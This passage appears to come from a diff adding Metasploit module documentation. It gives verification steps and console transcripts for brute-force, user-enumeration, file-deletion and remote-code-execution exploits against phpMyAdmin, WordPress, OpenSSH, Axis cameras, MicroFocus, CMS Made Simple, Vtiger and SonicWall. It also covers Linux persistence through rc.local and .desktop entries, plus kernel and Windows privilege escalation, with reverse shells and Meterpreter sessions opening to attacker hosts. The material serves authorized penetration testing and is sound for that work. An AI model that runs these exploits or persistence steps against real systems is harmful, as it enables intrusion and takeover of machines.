[*] Server: Apache/2.4.29 (Ubuntu)
[+] Joomla version: 3.8.2
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
```
# joomscan -u 192.168.2.39
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
[+] Detecting Joomla Version
[++] Joomla 3.8.2
...snip...
```
@@ -0,0 +1,36 @@
## Vulnerable Application
This module is a brute-force login scanner for PhpMyAdmin
## Verification Steps
1. Start msfconsole
2. Do: ```use [auxiliary/scanner/http/phpmyadmin_login]```
3. Do: ```set RHOSTS [IP]```
4. Do: ```set TARGETURI [URI]```
5. Do: ```set PASSWORD [PASSWORD]```
6. Do: ```run```
7. You should get a successful login status
## Scenarios
### Tested on PhpMyAdmin Versions 4.0.10.20, 4.5.0, 4.8.1, 4.8.2, 5.0
```
msf5 > use auxiliary/scanner/http/phpmyadmin_login
msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.37.151
rhosts => 192.168.37.151
msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi phpmyadmin-4.8.2/index.php
targeturi => phpmyadmin-4.8.2/index.php
msf5 auxiliary(scanner/http/phpmyadmin_login) > set password password
password => password
msf5 auxiliary(scanner/http/phpmyadmin_login) > run
[*] PhpMyAdmin Version: 4.8.2
[+] 192.168.37.151:80 - Success: 'root:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/phpmyadmin_login) >
```
@@ -0,0 +1,42 @@
## Description
An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
Author to completely take over the WordPress site and to execute arbitrary code on the server.
## Vulnerable Application
WordPress <= 4.9.6
## Verification Steps
1. Do: ```use auxiliary/scanner/http/wp_arbitrary_file_deletion```
2. Do: ```set USERNAME [USERNAME]```
3. Do: ```set PASSWORD [PASSWORD]```
4. Do: ```set RHOSTS [IP]```
5. Do: ```run```
## Scenarios
```
msf5 > use auxiliary/scanner/http/wp_arbitrary_file_deletion
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RPORT 8000
RPORT => 8000
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set PASSWORD xxx
PASSWORD => password1
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set USERNAME xxx
USERNAME => techbrunch
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > run
[*] Checking if target is online and running Wordpress...
[*] Checking access...
[*] Getting the nonce...
[*] Uploading media...
[*] Editing thumb path...
[*] Deleting media...
[+] File deleted!
[*] Auxiliary module execution completed
```
@@ -0,0 +1,79 @@
## Intro
This module uses a malformed packet or timing attack to enumerate users on
an OpenSSH server.
Testing note: invalid users were logged, while valid users were not. YMMV.
## Actions
**Malformed Packet**
The default action sends a malformed (corrupted) `SSH_MSG_USERAUTH_REQUEST`
packet using public key authentication (must be enabled) to enumerate users.
**Timing Attack**
On some versions of OpenSSH under some configurations, OpenSSH will return a
"permission denied" error for an invalid user faster than for a valid user,
creating an opportunity for a timing attack to enumerate users.
## Options
**USERNAME**
Single username to test (username spray).
**USER_FILE**
File containing usernames, one per line.
**THRESHOLD**
Amount of seconds needed before a user is considered found (timing attack only).
**CHECK_FALSE**
Check for false positives (random username).
## Usage
```
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users
[*] exec: echo $'wvu\nbcook' > users
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users
user_file => users
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] [redacted]:22 - SSH - Using malformed packet technique
[*] [redacted]:22 - SSH - Starting scan
[+] [redacted]:22 - SSH - User 'wvu' found
[-] [redacted]:22 - SSH - User 'bcook' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack
action => Timing Attack
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] [redacted]:22 - SSH - Using timing attack technique
[*] [redacted]:22 - SSH - Starting scan
[+] [redacted]:22 - SSH - User 'wvu' found
[-] [redacted]:22 - SSH - User 'bcook' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
[redacted] [redacted] 22/tcp (ssh) wvu
msf5 auxiliary(scanner/ssh/ssh_enumusers) >
```
@@ -0,0 +1,26 @@
This module exploits multiple vulnerabilities against Axis Network Cameras, including an authentication
bypass in the .srv functionality, as well as a command injection in "parhand", in order to gain
arbitrary remote code execution under the context of root.
The exploit currently only supports the following payloads:
* cmd/unix/bind_netcat_gaping
* cmd/unix/reverse_netcat_gaping
## Vulnerable Application
The particular firmware (Companion Dome V) tested for this exploit was 6.15.4, web version 16.05.02.
For a list of affected Axis products, please go to the following page:
https://www.axis.com/files/sales/ACV-128401_Affected_Product_List.pdf
## Verification Steps
1. Start msfconsole
2. Do: `exploit/linux/http/axis_srv_parhand_rce`
3. Do: `set rhosts [IP]`
4. Do: `show payloads` to select a payload (that is not ipv6)
5. Do: `set payload [name of payload]`
6. Set LHOST if you are using a reverse shell
7. Do: `run`
8. You should get a session
@@ -0,0 +1,114 @@
## Vulnerable Application
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging
Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
One of the user supplied parameters of API endpoint is used by the application without input validation
and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this
vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php
endpoint is responsible for executing an operation system command. It's not possible to access this
endpoint without having a valid session.
Combining these vulnerabilities gives the opportunity execute operation system commands under the
context of the web user.
## Vulnerable Application Installation Steps
Complete the following trial submission form. You will be able to [download the product as a OVA or ISO file](https://www.microfocus.com/products/secure-gateway/trial/).
Installation instructions can be [found here](https://www.microfocus.com/documentation/secure-messaging-gateway/GWAVA%207.0/secure-gateway.pdf).
Please note that newer trial appliances by default are no longer vulnerable to the attacks used by
this module, but for testing purposes there is a way to make it vulnerable again.
First, go ahead and install the ISO. The appliance is based on Debian (for example, version 7 is
running a modified version of Ubuntu 16.04), so installation should be very similar to that.
After you log into the system as "gwava:gwava" (which is the default credential), you should see
this on your screen:
```
####################################
Please run the following command:
sudo /opt/gwavapreinstall.sh
####################################
```
The gwavapreinstall.sh script is what you need to modify. To do this, open it with your favorite text
editor with sudo like this:
```
$ sudo nano -w /opt/gwavapreinstall.sh
```
The bash script uses svn to download the latest software from the official site, but we can go back to
a specific commit to test the vulnerability again. Go ahead and find this line in the file:
```
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release $GWAVA_DIR
```
And modify to (the difference is the ```release@444```):
```
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release@444 $GWAVA_DIR
```
Make sure you save it, and then now run the script:
```
$ sudo /opt/gwavapreinstall.sh
```
After running the script, make sure to browse to https://[IP] to complete the installation. And then
after that, you are ready to test the module.
Note that the module may not work at the very first try, but the second time should work.
## Verification Steps
A successful check of the exploit will look like this:
1. Start `msfconsole`
2. `use exploit/linux/http/microfocus_secure_messaging_gateway `
3. Set `RHOST`
4. Set `LHOST`
5. Run `check`
6. **Verify** that you are seeing `The target is vulnerable`
7. Run `exploit`
8. **Verify** that you are seeing `Creating an user with appropriate privileges` in console.
9. **Verify** that you are seeing `User successfully created. Username : rmcynlbredxqh` in console.
10. **Verify** that you are seeing `Authenticating with created user` in console.
11. **Verify** that you are seeing `Successfully authenticated` in console.
12. **Verify** that you are seeing `Creating a domain with a malformed DKIM data` in console.
13. **Verify** that you are seeing `Payload is successfully implanted` in console.
14. **Verify** that you are seeing `Triggering an implanted payload` in console.
15. **Verify** that you are getting meterpreter session.
## Scenarios
```
msf5 > use exploit/linux/http/microfocus_secure_messaging_gateway
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set RHOSTS 12.0.0.25
RHOSTS => 12.0.0.25
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Creating an user with appropriate privileges
[+] User successfully created. Username : rmcynlbredxqh
[*] Authenticating with created user
[+] Successfully authenticated
[*] Creating a domain record with a malformed DKIM data
[+] Payload is successfully implanted
[*] Triggering an implanted payload
[*] Sending stage (37775 bytes) to 12.0.0.25
[*] Meterpreter session 10 opened (12.0.0.1:4444 -> 12.0.0.25:44332) at 2018-06-25 20:26:54 +0100
[*] Cleaning up...
meterpreter > pwd
/opt/gwava/gwavaman/http/admin/contents/ou
meterpreter >
```
@@ -0,0 +1,22 @@
## Autostart persistence
This module persist a payload by creating a `.desktop` entry for Linux desktop targets.
### Testing
1. Exploit a box
2. `use exploit/linux/local/autostart_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed
5. `exploit`
When the victim logs in your payload will be executed!
### Options
**NAME**
Name of the `.desktop` entry to add, if not specified it will be chosen randomly.
@@ -0,0 +1,46 @@
## rc.local Persistence
This module patches `/etc/rc.local` in order to launch a payload upon reboot.
> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case.
### Verification
1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`)
2. `use exploit/linux/local/rc_local_persistence`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
### Sample run
#### Escalate the session if needed
```
msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo
msf5 post(multi/manage/sudo) > set session 3
session => 3
msf5 post(multi/manage/sudo) > run
[*] SUDO: Attempting to upgrade to UID 0 via sudo
[*] No password available, trying a passwordless sudo.
[+] SUDO: Root shell secured.
[*] Post module execution completed
```
#### Persist
```
msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
LHOST => 192.168.0.41
msf5 exploit(linux/local/rc_local_persistence) > run
[*] Reading /etc/rc.local
[*] Patching /etc/rc.local
```
@@ -0,0 +1,136 @@
## Vulnerable Application
This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO).
The bug was initially introduced in October 2005 and patched in September 2017, potentially affecting a large
number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0-21 <= 4.4.0-89 (Trusty), and 4.4.0-81 <= 4.8.0-58 (Xenial), including Linux distros based on Ubuntu
such as Linux Mint.
### Disabling SMAP
[Original Instructions](https://github.com/rapid7/metasploit-framework/pull/9884#issuecomment-389607805)
To disable `SMAP` on a system, edit `/etc/default/grub` and add `nosmap` to the `GRUB_CMDLINE_LINUX_DEFAULT` line.
Next, `sudo update-grub`, and reboot.
To verify SMAP has been disabled, `grep smap /proc/cpuinfo` and nothing should be returned.
## Verification Steps
1. Start msfconsole
2. Get a shell on a vulnerable box
3. Do: ```use exploit/linux/local/ufo_privilege_escalation```
4. Do: ```set session [#]```
5. Do: ```run```
6. You should get a root shell.
## Options
**WritableDir**
A folder we can write files to. Defaults to /tmp
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
## Compiled Executables
The module makes use of a pre-compiled exploit executable to be
used when `gcc` is not available on the target host for live compiling,
or `COMPILE` is set to `False`.
The executable was cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar).
```bash
./x86_64-linux-musl-gcc -o exploit.out -pie -static exploit.c
```
## Scenarios
### Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop
#### Initial Access
```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) Linux ubuntu-desktop-14 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:45819 -> 2.2.2.2:22) at 2018-04-03 20:58:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Escalate
In this scenario, gcc is installed so we can live compile on the system.
```
msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation
msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true
verbose => true
msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1
session => 1
msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(linux/local/ufo_privilege_escalation) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Linux kernel version 4.4.0-31-generic is vulnerable
[*] Checking if SMAP is enabled ...
[+] SMAP is not enabled
[+] System architecture x86_64 is supported
[+] Unprivileged user namespaces are permitted
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.4UnI1EFL.c' (28356 bytes) ...
[*] Max line length is 65537
[*] Writing 28356 bytes in 2 chunks of 57414 bytes (octal-encoded), using printf
[*] Next chunk is 43454 bytes
[*] Writing '/tmp/.S6G2g9rnUj' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 629 bytes (octal-encoded), using printf
[*] Launching exploit ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (857352 bytes) to 2.2.2.2
[*] [.] starting
[*] [.] checking kernel version
[*] [.] kernel version '4.4.0-31-generic' detected
[*] [~] done, version looks good
[*] [.] checking SMEP and SMAP
[*] [~] done, looks good
[*] [.] setting up namespace sandbox
[*] [~] done, namespace sandbox set up
[*] [.] KASLR bypass enabled, getting kernel addr
[*] [.] trying /proc/kallsyms...
[*] [.] trying /boot/System.map-4.4.0-31-generic...
[*] [-] open/read(/boot/System.map-4.4.0-31-generic)
[*] [.] trying syslog...
[*] [~] done, kernel addr: ffffffff81000000
[*] [.] commit_creds: ffffffff8109d760
[*] [.] prepare_kernel_cred: ffffffff8109da40
[*] [.] SMEP bypass enabled, mmapping fake stack
[*] [~] done, fake stack mmapped
[*] [.] executing payload ffffffff8104516a
[*] [~] done, should be root now
[*] [.] checking if we got root
[*] [+] got r00t ^_^
[*] Cleaning up /tmp/.S6G2g9rnUj and /tmp/.4UnI1EFL ...
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:60474) at 2018-07-21 13:35:49 -0400
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 14.04 (Linux 4.4.0-31-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```
@@ -0,0 +1,69 @@
## Description
CMS Made Simple allows an authenticated administrator to upload a file
and rename it to have a `.php` extension. The file can then be executed
by opening the URL of the file in the `/uploads/` directory.
This module has been successfully tested on CMS Made Simple versions
2.2.5 and 2.2.7.
## Vulnerable Application
[CMS Made Simple v2.2.5](http://dev.cmsmadesimple.org/project/files/6)
## Verification Steps
1. `./msfconsole -q`
2. `use use exploit/multi/http/cmsms_upload_rename_rce`
3. `set username <username>`
4. `set password <password>`
5. `set rhosts <rhost>`
6. `run`
## Scenarios
### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.123
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.123:44352) at 2018-07-17 08:41:33 -0500
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```
### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33)
```
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
username => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
password => msfdev
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175
rhosts => 172.22.222.175
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
[*] Started reverse TCP handler on 172.22.222.194:4444
[*] Sending stage (37775 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.175:49829) at 2018-07-17 08:46:27 -0500
meterpreter > sysinfo
Computer : WIN10
OS : Windows NT WIN10 10.0 build 17134 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```
@@ -0,0 +1,54 @@
## Description
Vtiger v6.3.0 CRM's administration interface allows for the upload of a company logo.
The logo upload allows unrestricted file upload and can be used to upload php code,
which can then be executed by requesting the uploaded file location.
## Vulnerable Application
[Vtiger v6.3.0](https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%206.3.0/Core%20Product/)
## Options
**PHPSHORTTAG**
Specify the use of php short tag, `<? `, for wrapping the payload.
Default: true
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/multi/http/vtiger_logo_upload_exec`
3. `set rhosts <rhost>`
4. `set password <password>`
5. `run`
## Scenarios
### VtigerCRM v6.3.0 tested on Windows 10 x64 (Apache 2.2.26 / PHP 5.3.10)
```
msf5 > use exploit/multi/http/vtiger_logo_upload_exec
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rhosts 172.22.222.175
rhosts => 172.22.222.175
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set rport 8899
rport => 8899
msf5 exploit(multi/http/vtiger_logo_upload_exec) > set password admin
password => admin
msf5 exploit(multi/http/vtiger_logo_upload_exec) > run
[*] Started reverse TCP handler on 172.22.222.121:4444
[*] Uploading payload: KpXAXQNKjN.php
[*] Sending stage (37775 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:50295) at 2018-07-30 11:53:50 -0500
[+] Deleted KpXAXQNKjN.php
meterpreter > sysinfo
Computer : MSEDGEWIN10
OS : Windows NT MSEDGEWIN10 6.2 build 9200 (Unknow Windows version Enterprise Edition) i586
Meterpreter : php/windows
meterpreter >
```
@@ -0,0 +1,54 @@
## Vulnerable Application
This module exploits an arbitrary file upload vulnerability in Responsive Thumbnail Slider Plugin
v1.0 for WordPress post authentication.
For testing purposes, you may download a vulnerable version [here](https://www.exploit-db.com/apps/f5d34e16d07e61ad6826d2c1f3d16089-wp-responsive-thumbnail-slider.zip).
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/http/wp_responsive_thumbnail_slider_upload```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set TARGETURI [URI]```
6. Do: ```set USERNAME [USERNAME]```
7. Do: ```set PASSWORD [PASS]```
8. Do: ```run```
9. You should get a shell.
## Scenarios
### Test on Windows 7 x86 running WordPress v4.9.7
```
msf5 > use exploit/multi/http/wp_responsive_thumbnail_slider_upload
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set rhosts 192.168.37.165
rhosts => 192.168.37.165
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set targeturi wordpress
targeturi => wordpress
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set username test
username => test
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > set password password
password => password
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > check
[*] 192.168.37.165:80 The target service is running, but could not be validated.
msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] WordPress accessed
[+] Logged into WordPress
[+] Successful upload
[*] Sending stage (37775 bytes) to 192.168.37.165
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.165:54322) at 2018-07-26 14:41:02 -0500
meterpreter > getuid
Server username: lab (0)
meterpreter > sysinfo
Computer : WIN7-LAB
OS : Windows NT WIN7-LAB 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```
@@ -0,0 +1,112 @@
## Background
sonicwall_xmlrpc_rce is a remote exploit against SonicWall Global Management
System Virtual Appliance and is written by Michael Flanders of Trend
Micro Zero Day Initiative with assistance by @kernelsmith of Trend Micro Zero
Day Initiative. It is considered a reliable exploit, and allows you to remotely
execute commands as root.
## Vulnerable Application
* This exploit works against a vulnerable SonicWall Global Management System
Virtual Appliance (A.K.A. Sonicwall GMSVP) of versions 8.1 (Build 8110.1197) and
earlier. The virtual appliance can be downloaded here:
* http://www.sonicwall.com/products/sonicwall-gms/
* This module exploits the virtual appliance's lack of checking on user-supplied
parameters to XML-RPC calls to a vulnerable Java service running on port 21009.
A call to a shell script is made using this user-supplied parameter contained in
backticks allowing command substitution and remote code execution.
* To reliably determine whether the target virtual appliance is vulnerable,
you will have to examine the web console's login page. This is also automatically
done in the check function of the exploit.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/unix/sonicwall/sonicwall_xmlrpc_rce`
- [x] `set RHOST` to the IP address of the vulnerable virtual appliance
- [x] `set RPORT` to 21009
- [x] `set payload` to the desired payload
- [x] set any additional options for the payload e.g. LHOST/LPORT
- [x] `exploit`
- [x] **Verify** that you get a shell
- [x] **Verify** that you do not crash
## Options
```
set SSL [true/false]
```
* Set this true/false depending on whether the instance of SonicWall GMSVP has
been configured to use SSL.
```
set WEB_SERVER_PORT [port]
```
* This is the port of the login page for the web server/virtual appliance. For
SonicWall GMVSP this is typically http://[ip]:80; therefore, this option is set
by default to 80 (or 443 if `set SSL true`).
## Scenarios
* This is example output from a normal usage/scenario. This console output is for
SonicWall GMSVP version 8.0 (Build 8046.1396):
```
msf > use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show options
Module options (exploit/unix/sonicwall/sonicwall_xmlrpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WEB_SERVER_PORT no Port of web console login page.
Defaults to 80/443 depending on SSL.
Exploit target:
Id Name
-- ----
0 SonicWall Global Management System Virtual Appliance
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set RPORT 21009
RPORT => 21009
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set RHOST 192.168.152.173
RHOST => 192.168.152.173
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set LHOST 192.168.152.193
LHOST => 192.168.152.193
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > exploit
[*] Started reverse TCP double handler on 192.168.152.193:4444
[*] The target appears to be vulnerable, continuing exploit...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo H7sn3KYXeuCZy27Q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "H7sn3KYXeuCZy27Q\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.152.193:4444 -> 192.168.152.173:44698) at 2018-07-05 12:30:56 -0400
```
@@ -1,10 +1,119 @@
# Description
## Description
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed
(except for Windows XP).
Depending on the value of `USE_INJECTION` It will either inject a dll with the exploit
code into a process, or it will upload a pre-compiled exploit onto the target machine, followed
by the final payload (such as a Meterpreter) in order to gain remote code execution.
# Vulnerable Target
## Vulnerable Target
Please note that this module may not work with certain hypervisors (such as VMWare). You should
test it on a real machine if possible.
test it on a real machine if possible.
## Verification Steps
```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Sending stage (206403 bytes) to 192.168.136.142
meterpreter > getuid
Server username: DESKTOP-QGIC71I\msfuser
meterpreter > sysinfo
Computer : DESKTOP-QGIC71I
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/mov_ss
msf5 exploit(windows/local/mov_ss) > show options
Module options (exploit/windows/local/mov_ss):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 no The number of seconds to delay before executing the exploit if USE_INJECTION=false
EXPLOIT_NAME no The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
PAYLOAD_NAME no The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).
SESSION 1 yes The session to run this module on.
USE_INJECTION true yes Use in-memory dll injection rather than exe file uploads.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.135.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
msf5 exploit(windows/local/mov_ss) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/mov_ss) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf5 exploit(windows/local/mov_ss) > set lport 4567
lport => 4567
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Checking target...
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 4964 launched.
[*] Reflectively injecting the exploit DLL into 4964...
[*] Exploit injected. Injecting payload into 4964...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 192.168.136.142
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.136.142 - Meterpreter session 3 closed. Reason: User exit
msf5 exploit(windows/local/mov_ss) > set USE_INJECTION false
USE_INJECTION => false
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Exploit uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Running exploit C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe with payload C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Sending stage (206403 bytes) to 192.168.136.142
^C[-] Exploit failed: Interrupt
msf5 exploit(windows/local/mov_ss) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-QGIC71I\msfuser @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49696 (192.168.136.142)
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49699 (192.168.136.142)
msf5 exploit(windows/local/mov_ss) > exit
```
## Build instructions
For both the dll and exe, use Visual studio solutions found in
./external/source/exploits/cve-2018-8897
then copy the resulting binaries to
